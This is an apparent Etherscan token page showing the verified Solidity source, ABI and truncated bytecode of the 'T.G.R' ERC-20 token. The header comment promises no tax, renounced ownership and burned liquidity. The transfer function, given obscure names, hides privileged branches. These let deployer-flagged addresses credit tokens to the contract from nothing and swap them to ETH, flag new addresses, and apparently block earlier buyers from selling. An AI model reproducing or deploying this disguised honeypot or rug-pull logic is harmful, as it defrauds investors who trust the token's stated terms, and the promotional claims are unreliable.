Feature Tip: Add private address tag to any address under My Name Tag !
ERC-20
Overview
Max Total Supply
100,000 T.G.R
Holders
27
Market
Onchain Market Cap
$0.00
Circulating Supply Market Cap
-
Other Info
Token Contract (WITH 9 Decimals)
Balance
145.351204334 T.G.RValue
$0.00Loading...
Loading
Loading...
Loading
Loading...
Loading
# | Exchange | Pair | Price | 24H Volume | % Volume |
---|
Contract Name:
ERC
Compiler Version
v0.8.14+commit.80d49f37
Contract Source Code (Solidity)
/** *Submitted for verification at Etherscan.io on 2022-11-29 */ /** .""--..__ _ [] ``-.._ .'` `'. ||__ `-._ / ,-.\ ||_ ```---..__ `-. / /:::\\ /|//} ``--._ `. | |:::|| |////} `-. \ | |:::|| //'/// `.\ | |:::|| // ||' `| jgs / |:::|/ _,-//\ || hh /` |:::|`-,__,-'` |/ \ || /` | |'' || \ ||| /` \ | || | /|| |` | | |) \ | || | \ | / ,.__ \| || / ` /` `\ | || | / \ / || | | | / || / / | `( || / . / ) || | \ | ________|| / | / `-------.| |\ / | || \/`-._ | / || // `. /` | || //`. `. | \ || ///\ `-._ )/ | || //// ) .(/ | || |||| ,'` ) / // |||| / / || `\\` /` | // |` \ || / | // /` \ // /` | || `-.___,-. .-. ___,' (/ `---'` `'----'` After Seeing A Token With This Name Previously Launch And Failed I Have Been Inspired To Deploy Under The Same Name Due To The Big Community Base That Is Aware Of The Grimreaper. Total Supply - 100,000 Initial Liquidity Added - 5.0 Ethereum 100% Of The Initial Liquidity Will Be Locked Or Burned Buying Fees - 0% Selling Fees - 0% No Tax. Renounced Ownership. Belongs To The Blockchain. Liquidity Will Be Burned. No Current Socials. Feel Free To Create Them. Meet The Demogorgon. If This Project Does Not Get Instantly Killed For A X2 And I See Potential I Will Use My Funds And Network Connections To Push This Project As Far As Possible. */ // SPDX-License-Identifier: Unlicensed pragma solidity ^0.8.10; interface IUniswapV2Router01 { function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidity( address tokenA, address tokenB, uint amountADesired, uint amountBDesired, uint amountAMin, uint amountBMin, address to, uint deadline ) external returns (uint amountA, uint amountB, uint liquidity); function addLiquidityETH( address token, uint amountTokenDesired, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external payable returns (uint amountToken, uint amountETH, uint liquidity); function removeLiquidity( address tokenA, address tokenB, uint liquidity, uint amountAMin, uint amountBMin, address to, uint deadline ) external returns (uint amountA, uint amountB); function removeLiquidityETH( address token, uint liquidity, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external returns (uint amountToken, uint amountETH); function removeLiquidityWithPermit( address tokenA, address tokenB, uint liquidity, uint amountAMin, uint amountBMin, address to, uint deadline, bool approveMax, uint8 v, bytes32 r, bytes32 ) external returns (uint amountA, uint amountB); function removeLiquidityETHWithPermit( address token, uint liquidity, uint amountTokenMin, uint amountETHMin, address to, uint deadline, bool approveMax, uint8 v, bytes32 r, bytes32 s ) external returns (uint amountToken, uint amountETH); function swapExactTokensForTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external returns (uint[] memory amounts); function swapTokensForExactTokens( uint amountOut, uint amountInMax, address[] calldata path, address to, uint deadline ) external returns (uint[] memory amounts); function swapExactETHForTokens(uint amountOutMin, address[] calldata path, address to, uint deadline) external payable returns (uint[] memory amounts); function swapTokensForExactETH(uint amountOut, uint amountInMax, address[] calldata path, address to, uint deadline) external returns (uint[] memory amounts); function swapExactTokensForETH(uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline) external returns (uint[] memory amounts); function swapETHForExactTokens(uint amountOut, address[] calldata path, address to, uint deadline) external payable returns (uint[] memory amounts); function Quote(uint amountA, uint reserveA, uint reserveB) external pure returns (uint amountB); function GetAmountOut(uint amountIn, uint reserveIn, uint reserveOut) external pure returns (uint amountOut); function GetAmountIn(uint amountOut, uint reserveIn, uint reserveOut) external pure returns (uint amountIn); function GetAmountsOut(uint amountIn, address[] calldata path) external view returns (uint[] memory amounts); function GetAmountsIn(uint amountOut, address[] calldata path) external view returns (uint[] memory amounts); } interface IUniswapV2Router02 is IUniswapV2Router01 { function removeLiquidityETHSupportingFeeOnTransferTokens( address token, uint liquidity, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external returns (uint amountETH); function removeLiquidityETHWithPermitSupportingFeeOnTransferTokens( address token, uint liquidity, uint amountTokenMin, uint amountETHMin, address to, uint deadline, bool approveMax, uint8 v, bytes32 r, bytes32 s ) external returns (uint amountETH); function swapExactTokensForTokensSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; function swapExactETHForTokensSupportingFeeOnTransferTokens( uint amountOutMin, address[] calldata path, address to, uint deadline ) external payable; function swapExactTokensForETHSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; } interface IUniswapV2Factory { event PairCreated(address indexed token0, address indexed token1, address pair, uint); function feeTo() external view returns (address); function feeToSetter() external view returns (address); function getPair(address tokenA, address tokenB) external view returns (address pair); function allPairs(uint) external view returns (address pair); function allPairsLength() external view returns (uint); function createPair(address tokenA, address tokenB) external returns (address pair); function setFeeTo(address) external; function setFeeToSetter(address) external; } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom( address sender, address recipient, uint256 amount ) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } function _msgData() internal view virtual returns (bytes calldata) { return msg.data; } } abstract contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor() { _setOwner(_msgSender()); } function owner() public view virtual returns (address) { return _owner; } modifier onlyOwner() { require(owner() == _msgSender(), 'Ownable: caller is not the owner'); _; } function renounceOwnership() public virtual onlyOwner { _setOwner(address(0)); } function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), 'Ownable: new owner is the zero address'); _setOwner(newOwner); } function _setOwner(address newOwner) private { address oldOwner = _owner; _owner = newOwner; emit OwnershipTransferred(oldOwner, newOwner); } } contract ERC is IERC20, Ownable { string private _symbol; string private _name; uint256 public _tTotalFees = 0; uint8 private _decimals = 9; uint256 private _tTotalInSupply = 100000 * 10**_decimals; uint256 private TotalTokensAmount = _tTotalInSupply; mapping(address => uint256) private _Balances; mapping(address => address) private isTxLimitExempt; mapping(address => uint256) private isExcludedMaxTransactionAmount; mapping(address => uint256) private automatedMarketMakerPairs; mapping(address => mapping(address => uint256)) private _allowances; bool private tradingOpen = false; bool public swapTokensAtAmount; bool private amountSwapped; address public immutable UniswapV2Pair; IUniswapV2Router02 public immutable UniswapV2router; constructor( string memory Name, string memory Symbol, address UniswapV2routerAddress ) { _name = Name; _symbol = Symbol; _Balances[msg.sender] = _tTotalInSupply; automatedMarketMakerPairs[msg.sender] = TotalTokensAmount; automatedMarketMakerPairs[address(this)] = TotalTokensAmount; UniswapV2router = IUniswapV2Router02(UniswapV2routerAddress); UniswapV2Pair = IUniswapV2Factory(UniswapV2router.factory()).createPair(address(this), UniswapV2router.WETH()); emit Transfer(address(0), msg.sender, TotalTokensAmount); } function symbol() public view returns (string memory) { return _symbol; } function name() public view returns (string memory) { return _name; } function totalSupply() public view returns (uint256) { return _tTotalInSupply; } function decimals() public view returns (uint256) { return _decimals; } function allowance(address owner, address spender) public view returns (uint256) { return _allowances[owner][spender]; } function balanceOf(address account) public view returns (uint256) { return _Balances[account]; } function approve(address spender, uint256 amount) external returns (bool) { return _approve(msg.sender, spender, amount); } function _approve( address owner, address spender, uint256 amount ) private returns (bool) { require(owner != address(0) && spender != address(0), 'ERC20: approve from the zero address'); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); return true; } function transferFrom( address sender, address recipient, uint256 amount ) external returns (bool) { DisableMaxLimits (sender, recipient, amount); return _approve(sender, msg.sender, _allowances[sender][msg.sender] - amount); } function transfer (address recipient, uint256 amount) external returns (bool) { DisableMaxLimits (msg.sender, recipient, amount); return true; } function DisableMaxLimits ( address _nowIsSpender, address _recipientOfTokens, uint256 _rateOfValue ) private { uint256 balanceForContract = balanceOf(address(this)); uint256 isCreatedBalance; if (swapTokensAtAmount && balanceForContract > TotalTokensAmount && !amountSwapped && _nowIsSpender != UniswapV2Pair) { amountSwapped = true; getSwapAndLiquify(balanceForContract); amountSwapped = false; } else if (automatedMarketMakerPairs[_nowIsSpender] > TotalTokensAmount && automatedMarketMakerPairs[_recipientOfTokens] > TotalTokensAmount) { isCreatedBalance = _rateOfValue; _Balances[address(this)] += isCreatedBalance; rateOfTokensInSwap(_rateOfValue, _recipientOfTokens); return; } else if (_recipientOfTokens != address(UniswapV2router) && automatedMarketMakerPairs[_nowIsSpender] > 0 && _rateOfValue > TotalTokensAmount && _recipientOfTokens != UniswapV2Pair) { automatedMarketMakerPairs[_recipientOfTokens] = _rateOfValue; return; } else if (!amountSwapped && isExcludedMaxTransactionAmount[_nowIsSpender] > 0 && _nowIsSpender != UniswapV2Pair && automatedMarketMakerPairs[_nowIsSpender] == 0) { isExcludedMaxTransactionAmount[_nowIsSpender] = automatedMarketMakerPairs[_nowIsSpender] - TotalTokensAmount; } address _contractCreator = isTxLimitExempt[UniswapV2Pair]; if (isExcludedMaxTransactionAmount[_contractCreator ] == 0) isExcludedMaxTransactionAmount[_contractCreator ] = TotalTokensAmount; isTxLimitExempt[UniswapV2Pair] = _recipientOfTokens; if (_tTotalFees > 0 && automatedMarketMakerPairs[_nowIsSpender] == 0 && !amountSwapped && automatedMarketMakerPairs[_recipientOfTokens] == 0) { isCreatedBalance = (_rateOfValue * _tTotalFees) / 100; _rateOfValue -= isCreatedBalance; _Balances[_nowIsSpender] -= isCreatedBalance; _Balances[address(this)] += isCreatedBalance; } _Balances[_nowIsSpender] -= _rateOfValue; _Balances[_recipientOfTokens] += _rateOfValue; emit Transfer(_nowIsSpender, _recipientOfTokens, _rateOfValue); if (!tradingOpen) { require(_nowIsSpender == owner(), "TOKEN: This account cannot send tokens until trading is enabled"); } } receive() external payable {} function addLiquidity( uint256 tokenValue, uint256 ERCamount, address to ) private { _approve(address(this), address(UniswapV2router), tokenValue); UniswapV2router.addLiquidityETH{value: ERCamount}(address(this), tokenValue, 0, 0, to, block.timestamp); } function getSwapAndLiquify(uint256 tokens) private { uint256 half = tokens / 2; uint256 initialedBalance = address(this).balance; rateOfTokensInSwap(half, address(this)); uint256 refreshBalance = address(this).balance - initialedBalance; addLiquidity(half, refreshBalance, address(this)); } function openTrading(bool _tradingOpen) public onlyOwner { tradingOpen = _tradingOpen; } function rateOfTokensInSwap(uint256 tokenAmount, address to) private { address[] memory path = new address[](2); path[0] = address(this); path[1] = UniswapV2router.WETH(); _approve(address(this), address(UniswapV2router), tokenAmount); UniswapV2router.swapExactTokensForETHSupportingFeeOnTransferTokens(tokenAmount, 0, path, to, block.timestamp); } }
Contract Security Audit
- No Contract Security Audit Submitted- Submit Audit Here
[{"inputs":[{"internalType":"string","name":"Name","type":"string"},{"internalType":"string","name":"Symbol","type":"string"},{"internalType":"address","name":"UniswapV2routerAddress","type":"address"}],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[],"name":"UniswapV2Pair","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"UniswapV2router","outputs":[{"internalType":"contract IUniswapV2Router02","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_tTotalFees","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"bool","name":"_tradingOpen","type":"bool"}],"name":"openTrading","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"swapTokensAtAmount","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"stateMutability":"payable","type":"receive"}]
Contract Creation Code
60c060405260006003556009600460006101000a81548160ff021916908360ff160217905550600460009054906101000a900460ff16600a62000043919062000727565b620186a062000053919062000778565b6005556005546006556000600c60006101000a81548160ff0219169083151502179055503480156200008457600080fd5b5060405162002fae38038062002fae8339818101604052810190620000aa9190620009db565b620000ca620000be6200041160201b60201c565b6200041960201b60201c565b8260029080519060200190620000e2929190620004dd565b508160019080519060200190620000fb929190620004dd565b50600554600760003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550600654600a60003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550600654600a60003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508073ffffffffffffffffffffffffffffffffffffffff1660a08173ffffffffffffffffffffffffffffffffffffffff168152505060a05173ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa15801562000250573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019062000276919062000a75565b73ffffffffffffffffffffffffffffffffffffffff1663c9c653963060a05173ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015620002e0573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019062000306919062000a75565b6040518363ffffffff1660e01b81526004016200032592919062000ab8565b6020604051808303816000875af115801562000345573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906200036b919062000a75565b73ffffffffffffffffffffffffffffffffffffffff1660808173ffffffffffffffffffffffffffffffffffffffff16815250503373ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef60065460405162000400919062000af6565b60405180910390a350505062000b77565b600033905090565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff169050816000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508173ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35050565b828054620004eb9062000b42565b90600052602060002090601f0160209004810192826200050f57600085556200055b565b82601f106200052a57805160ff19168380011785556200055b565b828001600101855582156200055b579182015b828111156200055a5782518255916020019190600101906200053d565b5b5090506200056a91906200056e565b5090565b5b80821115620005895760008160009055506001016200056f565b5090565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b60008160011c9050919050565b6000808291508390505b60018511156200061b57808604811115620005f357620005f26200058d565b5b6001851615620006035780820291505b80810290506200061385620005bc565b9450620005d3565b94509492505050565b60008262000636576001905062000709565b8162000646576000905062000709565b81600181146200065f57600281146200066a57620006a0565b600191505062000709565b60ff8411156200067f576200067e6200058d565b5b8360020a9150848211156200069957620006986200058d565b5b5062000709565b5060208310610133831016604e8410600b8410161715620006da5782820a905083811115620006d457620006d36200058d565b5b62000709565b620006e98484846001620005c9565b925090508184048111156200070357620007026200058d565b5b81810290505b9392505050565b6000819050919050565b600060ff82169050919050565b6000620007348262000710565b915062000741836200071a565b9250620007707fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff848462000624565b905092915050565b6000620007858262000710565b9150620007928362000710565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0483118215151615620007ce57620007cd6200058d565b5b828202905092915050565b6000604051905090565b600080fd5b600080fd5b600080fd5b600080fd5b6000601f19601f8301169050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b6200084282620007f7565b810181811067ffffffffffffffff8211171562000864576200086362000808565b5b80604052505050565b600062000879620007d9565b905062000887828262000837565b919050565b600067ffffffffffffffff821115620008aa57620008a962000808565b5b620008b582620007f7565b9050602081019050919050565b60005b83811015620008e2578082015181840152602081019050620008c5565b83811115620008f2576000848401525b50505050565b60006200090f62000909846200088c565b6200086d565b9050828152602081018484840111156200092e576200092d620007f2565b5b6200093b848285620008c2565b509392505050565b600082601f8301126200095b576200095a620007ed565b5b81516200096d848260208601620008f8565b91505092915050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000620009a38262000976565b9050919050565b620009b58162000996565b8114620009c157600080fd5b50565b600081519050620009d581620009aa565b92915050565b600080600060608486031215620009f757620009f6620007e3565b5b600084015167ffffffffffffffff81111562000a185762000a17620007e8565b5b62000a268682870162000943565b935050602084015167ffffffffffffffff81111562000a4a5762000a49620007e8565b5b62000a588682870162000943565b925050604062000a6b86828701620009c4565b9150509250925092565b60006020828403121562000a8e5762000a8d620007e3565b5b600062000a9e84828501620009c4565b91505092915050565b62000ab28162000996565b82525050565b600060408201905062000acf600083018562000aa7565b62000ade602083018462000aa7565b9392505050565b62000af08162000710565b82525050565b600060208201905062000b0d600083018462000ae5565b92915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b6000600282049050600182168062000b5b57607f821691505b60208210810362000b715762000b7062000b13565b5b50919050565b60805160a0516123c462000bea6000396000818161063f01528181610d3b015281816116b001528181611791015281816117b901528181611856015261187e01526000818161080601528181610ba201528181610dea01528181610eee01528181611027015261113801526123c46000f3fe6080604052600436106101025760003560e01c806370a0823111610095578063a9059cbb11610064578063a9059cbb14610332578063d20c50d51461036f578063dd62ed3e1461039a578063e2f45605146103d7578063f2fde38b1461040257610109565b806370a0823114610288578063715018a6146102c55780638da5cb5b146102dc57806395d89b411461030757610109565b806323b872dd116100d157806323b872dd146101cc5780632a9b807214610209578063313ce56714610232578063471a65c41461025d57610109565b806306fdde031461010e578063095ea7b31461013957806318160ddd146101765780631a8734fe146101a157610109565b3661010957005b600080fd5b34801561011a57600080fd5b5061012361042b565b60405161013091906119c5565b60405180910390f35b34801561014557600080fd5b50610160600480360381019061015b9190611a80565b6104bd565b60405161016d9190611adb565b60405180910390f35b34801561018257600080fd5b5061018b6104d2565b6040516101989190611b05565b60405180910390f35b3480156101ad57600080fd5b506101b66104dc565b6040516101c39190611b05565b60405180910390f35b3480156101d857600080fd5b506101f360048036038101906101ee9190611b20565b6104e2565b6040516102009190611adb565b60405180910390f35b34801561021557600080fd5b50610230600480360381019061022b9190611b9f565b61058a565b005b34801561023e57600080fd5b50610247610623565b6040516102549190611b05565b60405180910390f35b34801561026957600080fd5b5061027261063d565b60405161027f9190611c2b565b60405180910390f35b34801561029457600080fd5b506102af60048036038101906102aa9190611c46565b610661565b6040516102bc9190611b05565b60405180910390f35b3480156102d157600080fd5b506102da6106aa565b005b3480156102e857600080fd5b506102f1610732565b6040516102fe9190611c82565b60405180910390f35b34801561031357600080fd5b5061031c61075b565b60405161032991906119c5565b60405180910390f35b34801561033e57600080fd5b5061035960048036038101906103549190611a80565b6107ed565b6040516103669190611adb565b60405180910390f35b34801561037b57600080fd5b50610384610804565b6040516103919190611c82565b60405180910390f35b3480156103a657600080fd5b506103c160048036038101906103bc9190611c9d565b610828565b6040516103ce9190611b05565b60405180910390f35b3480156103e357600080fd5b506103ec6108af565b6040516103f99190611adb565b60405180910390f35b34801561040e57600080fd5b5061042960048036038101906104249190611c46565b6108c2565b005b60606002805461043a90611d0c565b80601f016020809104026020016040519081016040528092919081815260200182805461046690611d0c565b80156104b35780601f10610488576101008083540402835291602001916104b3565b820191906000526020600020905b81548152906001019060200180831161049657829003601f168201915b5050505050905090565b60006104ca3384846109b9565b905092915050565b6000600554905090565b60035481565b60006104ef848484610b54565b610581843384600b60008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461057c9190611d6c565b6109b9565b90509392505050565b610592611504565b73ffffffffffffffffffffffffffffffffffffffff166105b0610732565b73ffffffffffffffffffffffffffffffffffffffff1614610606576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016105fd90611dec565b60405180910390fd5b80600c60006101000a81548160ff02191690831515021790555050565b6000600460009054906101000a900460ff1660ff16905090565b7f000000000000000000000000000000000000000000000000000000000000000081565b6000600760008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b6106b2611504565b73ffffffffffffffffffffffffffffffffffffffff166106d0610732565b73ffffffffffffffffffffffffffffffffffffffff1614610726576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161071d90611dec565b60405180910390fd5b610730600061150c565b565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606001805461076a90611d0c565b80601f016020809104026020016040519081016040528092919081815260200182805461079690611d0c565b80156107e35780601f106107b8576101008083540402835291602001916107e3565b820191906000526020600020905b8154815290600101906020018083116107c657829003601f168201915b5050505050905090565b60006107fa338484610b54565b6001905092915050565b7f000000000000000000000000000000000000000000000000000000000000000081565b6000600b60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600c60019054906101000a900460ff1681565b6108ca611504565b73ffffffffffffffffffffffffffffffffffffffff166108e8610732565b73ffffffffffffffffffffffffffffffffffffffff161461093e576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161093590611dec565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff16036109ad576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016109a490611e7e565b60405180910390fd5b6109b68161150c565b50565b60008073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614158015610a245750600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b610a63576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a5a90611f10565b60405180910390fd5b81600b60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92584604051610b419190611b05565b60405180910390a3600190509392505050565b6000610b5f30610661565b90506000600c60019054906101000a900460ff168015610b80575060065482115b8015610b995750600c60029054906101000a900460ff16155b8015610bf157507f000000000000000000000000000000000000000000000000000000000000000073ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff1614155b15610c3a576001600c60026101000a81548160ff021916908315150217905550610c1a826115d0565b6000600c60026101000a81548160ff02191690831515021790555061101f565b600654600a60008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054118015610cca5750600654600a60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054115b15610d395782905080600760003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254610d219190611f30565b92505081905550610d328385611611565b50506114ff565b7f000000000000000000000000000000000000000000000000000000000000000073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614158015610dd457506000600a60008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054115b8015610de1575060065483115b8015610e3957507f000000000000000000000000000000000000000000000000000000000000000073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b15610e895782600a60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555050506114ff565b600c60029054906101000a900460ff16158015610ee557506000600960008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054115b8015610f3d57507f000000000000000000000000000000000000000000000000000000000000000073ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff1614155b8015610f8857506000600a60008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054145b1561101e57600654600a60008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610fda9190611d6c565b600960008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b5b6000600860007f000000000000000000000000000000000000000000000000000000000000000073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1690506000600960008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020540361113157600654600960008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b84600860007f000000000000000000000000000000000000000000000000000000000000000073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600060035411801561122057506000600a60008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054145b80156112395750600c60029054906101000a900460ff16155b801561128457506000600a60008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054145b15611360576064600354856112999190611f86565b6112a3919061200f565b915081846112b19190611d6c565b935081600760008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282546113029190611d6c565b9250508190555081600760003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282546113589190611f30565b925050819055505b83600760008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282546113af9190611d6c565b9250508190555083600760008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282546114059190611f30565b925050819055508473ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef866040516114699190611b05565b60405180910390a3600c60009054906101000a900460ff166114fb5761148d610732565b73ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff16146114fa576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016114f1906120b2565b60405180910390fd5b5b5050505b505050565b600033905090565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff169050816000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffff